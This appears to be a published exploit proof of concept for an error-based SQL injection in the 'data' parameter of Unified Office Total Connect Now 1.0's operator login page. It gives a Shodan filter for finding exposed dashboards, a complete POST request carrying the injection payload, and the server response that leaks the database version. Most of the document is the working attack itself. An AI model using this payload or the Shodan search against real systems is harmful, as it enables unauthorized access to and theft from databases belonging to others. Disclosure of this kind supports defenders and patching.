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# Exploit Title: Unified Office Total Connect Now 1.0 – 'data' SQL Injection # Shodan Filter: http.title:"TCN User Dashboard" # Date: 06-16-2021 # Exploit Author: Ajaikumar Nadar # Vendor Homepage: https://unifiedoffice.com/ # Software Link: https://unifiedoffice.com/voip-business-solutions/ # Version: 1.0 # Tested on: CentOS + Apache/2.2.15 POC: 1. Go to url http://localhost/operator/operatorLogin.php and login 2. Capture the request in Burpsuite and use the payload as given below. 3. Observe the response which reveals the DB version of mysql. Request: POST /operator/operatorLogin.php HTTP/1.1 Host: localhost Connection: close Content-Length: 178 sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99" Accept: */* X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: https://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://localhost/operator/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=sosbriscgul9onu25sf2731e81 data={"extension":"((select 1 from (select count(*), concat(0x3a,0x3a,(select version()),0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)b))","pin":"bar"} Response: HTTP/1.1 400 Bad Request Date: Wed, 16 Jun 2021 12:49:56 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.10 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 139 Connection: close Content-Type: text/html; charset=UTF-8 Query failed, called from: sqlquery:/var/www/html/recpanel/operator/operatorLogin.php:62: Duplicate entry '::5.1.73::1' for key 'group_key' |
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